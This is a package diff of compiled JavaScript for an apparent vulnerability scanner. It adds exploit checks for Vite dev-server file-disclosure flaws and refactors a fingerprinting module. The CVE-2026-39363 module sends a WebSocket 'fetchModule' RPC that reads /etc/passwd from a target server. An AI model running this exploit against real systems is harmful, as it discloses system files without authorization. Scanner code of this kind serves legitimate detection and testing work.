+{"version":3,"file":"cve-2025-30208.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2025-30208.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,kFAAkF;AAClF,MAAM,eAAe,GAAG,CAAC,aAAa,EAAE,OAAO,CAAU,CAAC;AAE1D,gEAAgE;AAChE,MAAM,YAAY,GAA2B;IACzC,aAAa,EAAE,OAAO;IACtB,OAAO,EAAE,GAAG;CACf,CAAC;AAEF,MAAM,CAAC,MAAM,WAAW,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,aAAa,CAAC;AAEpF,qGAAqG;AACrG,MAAM,CAAC,MAAM,2BAA2B,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,eAAe,CAAC;AAEtG,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,WAAW,GAAG,IAAI,GAAG,CAAC,WAAW,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1E,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,2BAA2B,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAEzF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,WAAW,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC7F,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC3F,IAAI,CAAC,QAAQ,IAAI,CAAC,OAAO;YAAE,SAAS;QAEpC,MAAM,MAAM,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;QACrC,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;QACxD,IAAI,IAAI,CAAC,gBAAgB,EAAE,CAAC;YACxB,OAAO;gBACH,UAAU,EAAE,IAAI;gBAChB,QAAQ,EAAE,wBAAwB,OAAO,6CAA6C,QAAQ,CAAC,MAAM,sBAAsB,OAAO,CAAC,MAAM,IAAI;gBAC7I,cAAc,EAAE,CAAC,UAAU,CAAC;gBAC5B,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;aACtC,CAAC;QACN,CAAC;IACL,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iDAAiD,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAClH,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/vite/cve-2026-39363.js

@@ -0,0 +1,60 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import { connectViteHmr, sendRpcAndAwait } from "../utility/wsClient.js";
+const CANDIDATE_FILES = ["/etc/passwd"];
+export const buildFetchModuleMessage = (id, absPath) => ({
+    type: "custom",
+    event: "vite:invoke",
+    data: {
+        id,
+        name: "fetchModule",
+        data: [`file://${absPath}?raw`, undefined, { cached: false }],
+    },
+});
+/**
+ * CVE-2026-39363: unlike the HTTP-only fs.deny bypass (CVE-2025-30208), this vulnerability is
+ * transport-class — the HTTP /@fs/ endpoint's fs.deny checks simply never apply to the WebSocket
+ * `fetchModule` RPC exposed over the vite-hmr socket. There's no "baseline should fail" concept to
+ * diff against; `vulnerable` is just whether the RPC returned real file content.
+ */
+const cve202639363 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    let ws;
+    try {
+        ws = yield connectViteHmr(ctx.baseUrl, ctx.timeout);
+    }
+    catch (err) {
+        return { vulnerable: false, evidence: `WebSocket connect failed: ${err}`, discoveredUrls: [] };
+    }
+    try {
+        for (const absPath of CANDIDATE_FILES) {
+            const requestId = `poc-${absPath.replace(/\W/g, "-")}`;
+            const result = yield sendRpcAndAwait(ws, buildFetchModuleMessage(requestId, absPath), ctx.timeout);
+            const content = typeof result === "string" ? result : JSON.stringify(result !== null && result !== void 0 ? result : "");
+            if (content.includes("root:")) {
+                return {
+                    vulnerable: true,
+                    evidence: `WebSocket fetchModule RPC returned contents of ${absPath}, bypassing HTTP-only fs.deny.`,
+                    discoveredUrls: [],
+                    rawFindingExtras: { file: absPath },
+                };
+            }
+        }
+        return {
+            vulnerable: false,
+            evidence: "fetchModule RPC did not return sensitive file content.",
+            discoveredUrls: [],
+        };
+    }
+    finally {
+        ws.close();
+    }
+});
+export default cve202639363;
+//# sourceMappingURL=cve-2026-39363.js.map

package/build/exploit/vite/cve-2026-39363.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2026-39363.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2026-39363.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,cAAc,EAAE,eAAe,EAA0B,MAAM,wBAAwB,CAAC;AAGjG,MAAM,eAAe,GAAG,CAAC,aAAa,CAAU,CAAC;AAEjD,MAAM,CAAC,MAAM,uBAAuB,GAAG,CAAC,EAAU,EAAE,OAAe,EAAqB,EAAE,CAAC,CAAC;IACxF,IAAI,EAAE,QAAQ;IACd,KAAK,EAAE,aAAa;IACpB,IAAI,EAAE;QACF,EAAE;QACF,IAAI,EAAE,aAAa;QACnB,IAAI,EAAE,CAAC,UAAU,OAAO,MAAM,EAAE,SAAS,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,CAAC;KAChE;CACJ,CAAC,CAAC;AAEH;;;;;GAKG;AACH,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,IAAI,EAAE,CAAC;IACP,IAAI,CAAC;QACD,EAAE,GAAG,MAAM,cAAc,CAAC,GAAG,CAAC,OAAO,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IACxD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6BAA6B,GAAG,EAAE,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IACnG,CAAC;IAED,IAAI,CAAC;QACD,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;YACpC,MAAM,SAAS,GAAG,OAAO,OAAO,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,EAAE,CAAC;YACvD,MAAM,MAAM,GAAG,MAAM,eAAe,CAAC,EAAE,EAAE,uBAAuB,CAAC,SAAS,EAAE,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;YACnG,MAAM,OAAO,GAAG,OAAO,MAAM,KAAK,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,MAAM,aAAN,MAAM,cAAN,MAAM,GAAI,EAAE,CAAC,CAAC;YACnF,IAAI,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAC,EAAE,CAAC;gBAC5B,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,kDAAkD,OAAO,gCAAgC;oBACnG,cAAc,EAAE,EAAE;oBAClB,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;iBACtC,CAAC;YACN,CAAC;QACL,CAAC;QACD,OAAO;YACH,UAAU,EAAE,KAAK;YACjB,QAAQ,EAAE,wDAAwD;YAClE,cAAc,EAAE,EAAE;SACrB,CAAC;IACN,CAAC;YAAS,CAAC;QACP,EAAE,CAAC,KAAK,EAAE,CAAC;IACf,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/fingerprint/index.js

@@ -12,8 +12,10 @@ import fs from "fs";
 import path from "path";
 import * as cliProgress from "cli-progress";
 import frameworkDetect from "../lazyLoad/techDetect/index.js";
-import { computeBarSize, watchBarResize, setActiveBarLogger, progressLog } from "../utility/progressLog.js";
+import { activateBarLogger, computeBarSize, progressLog, watchBarResize, withProgressResources, } from "../utility/progressLog.js";
 import * as globalsUtil from "../utility/globals.js";
+import { resolveTargetInputs } from "../utility/targetInputs.js";
+import { printMsg, MSG } from "../utility/printMsg.js";
 const FRAMEWORK_LABELS = {
     next: "next.js",
     vue: "vue.js",
@@ -22,16 +24,6 @@ const FRAMEWORK_LABELS = {
     angular: "angular",
     react: "react",
 };
-const parseUrls = (urlArg) => {
-    if (fs.existsSync(urlArg)) {
-        return fs
-            .readFileSync(urlArg, "utf-8")
-            .split("\n")
-            .map((u) => u.trim())
-            .filter((u) => u.length > 0);
-    }
-    return [urlArg];
-};
 export const deriveOutputPath = (outputFile, format) => {
     const ext = path.extname(outputFile);
     const base = ext ? outputFile.slice(0, -ext.length) : outputFile;
@@ -71,11 +63,11 @@ const appendResult = (result, completedResults, outputFile, formats) => {
 const logOutputFiles = (outputFile, formats) => {
     for (const format of formats) {
         const filePath = deriveOutputPath(outputFile, format);
-        console.log(chalk.green(`[✓] Results written to ${filePath}`));
+        printMsg(MSG.Run, `[✓] Results written to ${filePath}`);
     }
 };
 const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaiter(void 0, [urlArg_1, outputFile_1, formatArg_1, ...args_1], void 0, function* (urlArg, outputFile, formatArg, threads = 5) {
-    const urls = parseUrls(urlArg);
+    const urls = resolveTargetInputs(urlArg).targets;
     const concurrency = Math.max(1, threads);
     const rawFormats = formatArg
         .split(",")
@@ -99,8 +91,7 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
     }, cliProgress.Presets.shades_classic);
     const bar = multiBar.create(urls.length, 0, { url: "" });
     const stopWatcher = watchBarResize(bar, overhead);
-    setActiveBarLogger(multiBar);
-    globalsUtil.setQuiet(true);
+    const releaseBarLogger = activateBarLogger(multiBar, process.stdout.isTTY === true);
     let nextIdx = 0;
     const worker = () => __awaiter(void 0, void 0, void 0, function* () {
         var _a;
@@ -131,13 +122,12 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
             bar.increment(1);
         }
     });
-    yield Promise.all(Array.from({ length: Math.min(concurrency, urls.length) }, worker));
-    globalsUtil.setQuiet(false);
-    multiBar.stop();
-    setActiveBarLogger(null);
-    stopWatcher();
+    yield withProgressResources(() => __awaiter(void 0, void 0, void 0, function* () {
+        globalsUtil.setQuiet(true);
+        yield Promise.all(Array.from({ length: Math.min(concurrency, urls.length) }, worker));
+    }), () => globalsUtil.setQuiet(false), () => multiBar.stop(), stopWatcher, releaseBarLogger);
     const detected = results.filter((r) => r.framework !== null).length;
-    console.log(chalk.cyan(`\n[i] ${detected}/${results.length} URLs fingerprinted`));
+    printMsg(MSG.Header, `\n[i] ${detected}/${results.length} URLs fingerprinted`);
     if (outputFile) {
         logOutputFiles(outputFile, formats);
     }

package/build/fingerprint/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":"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